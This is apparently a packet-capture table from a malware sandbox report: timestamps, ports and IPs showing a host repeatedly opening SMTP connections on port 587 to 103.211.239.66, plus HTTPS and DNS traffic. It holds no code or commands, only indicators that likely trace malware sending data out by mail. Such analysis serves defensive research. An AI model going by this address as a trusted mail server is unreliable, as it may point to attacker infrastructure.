Jan 15, 2025 03:37:46.679030895 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679084063 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679111004 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679136992 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679187059 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679214001 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679260969 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679286957 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679347992 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679373980 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679420948 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679447889 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679474115 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679501057 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679526091 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679553032 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679601908 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679627895 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679653883 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679680109 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679706097 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679732084 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679780960 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679806948 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679832935 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679858923 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679884911 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679909945 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679935932 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.679982901 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.680008888 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.680035114 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.680059910 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.680085897 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:46.680110931 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:47.694458961 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:47.841233015 CET	49924	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:49.125788927 CET	49885	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:49.130688906 CET	587	49885	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:49.464042902 CET	587	49885	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:49.464086056 CET	587	49885	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:49.464164972 CET	49885	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:49.464466095 CET	49885	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:49.465236902 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:49.470191956 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:49.470665932 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:50.730901003 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:50.731041908 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:50.735938072 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.220447063 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.222445011 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:51.227366924 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.550477982 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.550937891 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:51.555830002 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.890903950 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.890954971 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.890994072 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:51.891011953 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:51.893898964 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:51.898828030 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:52.219368935 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:52.220161915 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:52.225188971 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:52.545166016 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:52.545373917 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:52.550344944 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:52.873419046 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:52.873697042 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:52.878670931 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:53.208235025 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:53.208493948 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:53.213412046 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:53.534547091 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:53.534806967 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:53.540764093 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:53.907346010 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:53.907613993 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:53.912542105 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:54.232657909 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:54.234023094 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:54.234024048 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:54.234024048 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:54.239456892 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:54.239499092 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:54.239526033 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:54.563909054 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:54.638257980 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:56.805356026 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:56.810327053 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:57.132496119 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:57.132908106 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:57.133188009 CET	587	49947	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:57.133270025 CET	49947	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:57.133946896 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:57.138817072 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:57.140923023 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:58.185760975 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:58.187952042 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:58.192830086 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:58.517119884 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:58.519275904 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:58.526302099 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:58.851262093 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:58.852149010 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:58.857048988 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.191648960 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.191709995 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.191740990 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.191773891 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.191775084 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:59.192276001 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:59.192884922 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:59.197743893 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.521107912 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.522769928 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:59.527632952 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.851295948 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:37:59.851857901 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:37:59.856772900 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:00.180639029 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:00.181077003 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:00.185934067 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:00.518224955 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:00.519332886 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:00.524214983 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:00.847373009 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:00.847625971 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:00.852523088 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:01.216344118 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:01.216624975 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:01.221519947 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:01.544569969 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:01.544893026 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:01.544893026 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:01.544893026 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:01.549766064 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:01.549936056 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:01.549964905 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:02.109133005 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:02.310141087 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:03.167258024 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:03.173533916 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:03.216100931 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:03.216140032 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:03.216202021 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:03.216465950 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:03.216480017 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:03.498402119 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:03.498563051 CET	587	49975	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:03.498631954 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:03.498955011 CET	49975	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:03.499655008 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:03.504559040 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:03.506702900 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:03.860367060 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:03.861232996 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:03.861248016 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:03.862343073 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:03.862631083 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:03.862711906 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:03.997564077 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:04.557562113 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:04.557838917 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:04.562655926 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:04.885555029 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:04.885713100 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:04.890615940 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.216113091 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.220758915 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:05.225663900 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.559729099 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.559756041 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.559768915 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.559782982 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.559848070 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:05.561291933 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:05.566104889 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.890594959 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:05.892602921 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:05.897480011 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:06.220072031 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:06.222276926 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:06.227186918 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:06.550542116 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:06.550796032 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:06.555649996 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:06.884870052 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:06.885096073 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:06.889936924 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.214227915 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.214416981 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:07.219223022 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.589313030 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.589517117 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:07.594338894 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.917001009 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.917499065 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:07.917572021 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:07.917642117 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:07.922281027 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.922434092 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:07.922447920 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:08.551069975 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:38:08.591348886 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:38:13.776510000 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:13.776650906 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:13.776844025 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:14.970618963 CET	50004	443	192.168.2.4	142.250.185.228
Jan 15, 2025 03:38:14.970634937 CET	443	50004	142.250.185.228	192.168.2.4
Jan 15, 2025 03:38:34.287023067 CET	63677	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:38:34.291965961 CET	53	63677	1.1.1.1	192.168.2.4
Jan 15, 2025 03:38:34.292032957 CET	63677	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:38:34.292073011 CET	63677	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:38:34.296911001 CET	53	63677	1.1.1.1	192.168.2.4
Jan 15, 2025 03:38:34.744867086 CET	53	63677	1.1.1.1	192.168.2.4
Jan 15, 2025 03:38:34.775365114 CET	63677	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:38:34.780340910 CET	53	63677	1.1.1.1	192.168.2.4
Jan 15, 2025 03:38:34.780395985 CET	63677	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:39:03.322526932 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:03.322560072 CET	443	63730	216.58.206.68	192.168.2.4
Jan 15, 2025 03:39:03.322608948 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:03.322822094 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:03.322829008 CET	443	63730	216.58.206.68	192.168.2.4
Jan 15, 2025 03:39:03.975022078 CET	443	63730	216.58.206.68	192.168.2.4
Jan 15, 2025 03:39:04.054651976 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:04.054665089 CET	443	63730	216.58.206.68	192.168.2.4
Jan 15, 2025 03:39:04.056180000 CET	443	63730	216.58.206.68	192.168.2.4
Jan 15, 2025 03:39:04.139075994 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:04.164143085 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:04.164585114 CET	443	63730	216.58.206.68	192.168.2.4
Jan 15, 2025 03:39:04.251427889 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:04.269257069 CET	49893	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:39:04.274372101 CET	587	49893	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:04.593230963 CET	587	49893	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:04.593281984 CET	587	49893	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:04.593482018 CET	49893	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:39:04.598429918 CET	587	49893	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:08.374206066 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:08.374517918 CET	443	63730	216.58.206.68	192.168.2.4
Jan 15, 2025 03:39:08.374639988 CET	63730	443	192.168.2.4	216.58.206.68
Jan 15, 2025 03:39:22.692502975 CET	49924	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:39:22.697982073 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:23.021864891 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:23.022037029 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:23.022033930 CET	49924	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:39:23.022113085 CET	49924	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:39:23.027473927 CET	587	49924	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:35.442665100 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:39:35.447796106 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:35.773910999 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:35.773967981 CET	587	50010	103.211.239.66	192.168.2.4
Jan 15, 2025 03:39:35.774374962 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:39:35.774374962 CET	50010	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:20.587229013 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:20.592261076 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:20.592432976 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:22.224621058 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:22.224756002 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:22.229639053 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:22.552963972 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:22.553267956 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:22.558162928 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:22.883699894 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:22.884133101 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:22.889019966 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.250730991 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.250752926 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.250770092 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.250786066 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.250901937 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:23.252007961 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:23.256848097 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.580003023 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.580697060 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:23.585567951 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.908313990 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:23.908507109 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:23.913353920 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:24.239918947 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:24.240175962 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:24.245300055 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:24.574481010 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:24.574758053 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:24.579632044 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:24.902626991 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:24.903203964 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:24.908198118 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:25.267247915 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:25.267498970 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:25.272367001 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:25.595458031 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:25.595756054 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:25.595757008 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:25.596460104 CET	63740	587	192.168.2.4	103.211.239.66
Jan 15, 2025 03:40:25.600619078 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:25.600771904 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:25.601255894 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:26.160259008 CET	587	63740	103.211.239.66	192.168.2.4
Jan 15, 2025 03:40:26.342689991 CET	63740	587	192.168.2.4	103.211.239.66

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 03:36:45.107037067 CET	50326	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:36:53.316960096 CET	138	138	192.168.2.4	192.168.2.255
Jan 15, 2025 03:36:58.726238966 CET	61498	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:36:58.726332903 CET	63738	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:36:58.733000040 CET	53	61498	1.1.1.1	192.168.2.4
Jan 15, 2025 03:36:58.733541012 CET	53	63738	1.1.1.1	192.168.2.4
Jan 15, 2025 03:36:58.734097958 CET	53	52494	1.1.1.1	192.168.2.4
Jan 15, 2025 03:36:58.763551950 CET	53	53766	1.1.1.1	192.168.2.4
Jan 15, 2025 03:36:59.734606981 CET	53	55418	1.1.1.1	192.168.2.4
Jan 15, 2025 03:36:59.801734924 CET	59156	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:36:59.801889896 CET	60491	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:36:59.808166027 CET	53	59156	1.1.1.1	192.168.2.4
Jan 15, 2025 03:36:59.808458090 CET	53	60491	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:03.123120070 CET	63483	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:03.123392105 CET	57198	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:03.130172968 CET	53	57198	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:03.130197048 CET	53	63483	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:04.948646069 CET	54065	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:05.138005972 CET	53	54065	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:05.184295893 CET	55161	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:05.184433937 CET	60644	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:05.214983940 CET	53	55161	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:05.337505102 CET	53	60644	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:06.127264977 CET	57835	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:06.127398014 CET	58191	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:06.133250952 CET	53	50233	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:06.133982897 CET	53	57835	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:06.134581089 CET	53	58191	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:06.286464930 CET	56098	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:06.286684990 CET	50689	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:06.476939917 CET	57209	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:06.477097034 CET	55557	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:06.589711905 CET	53	57209	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:06.649274111 CET	53	55557	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:06.831967115 CET	53	50689	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:06.947660923 CET	53	56098	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:08.273428917 CET	64579	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:08.273547888 CET	59461	53	192.168.2.4	1.1.1.1
Jan 15, 2025 03:37:08.781414986 CET	53	59461	1.1.1.1	192.168.2.4
Jan 15, 2025 03:37:08.833709955 CET	53	64579	1.1.1.1	192.168.2.4
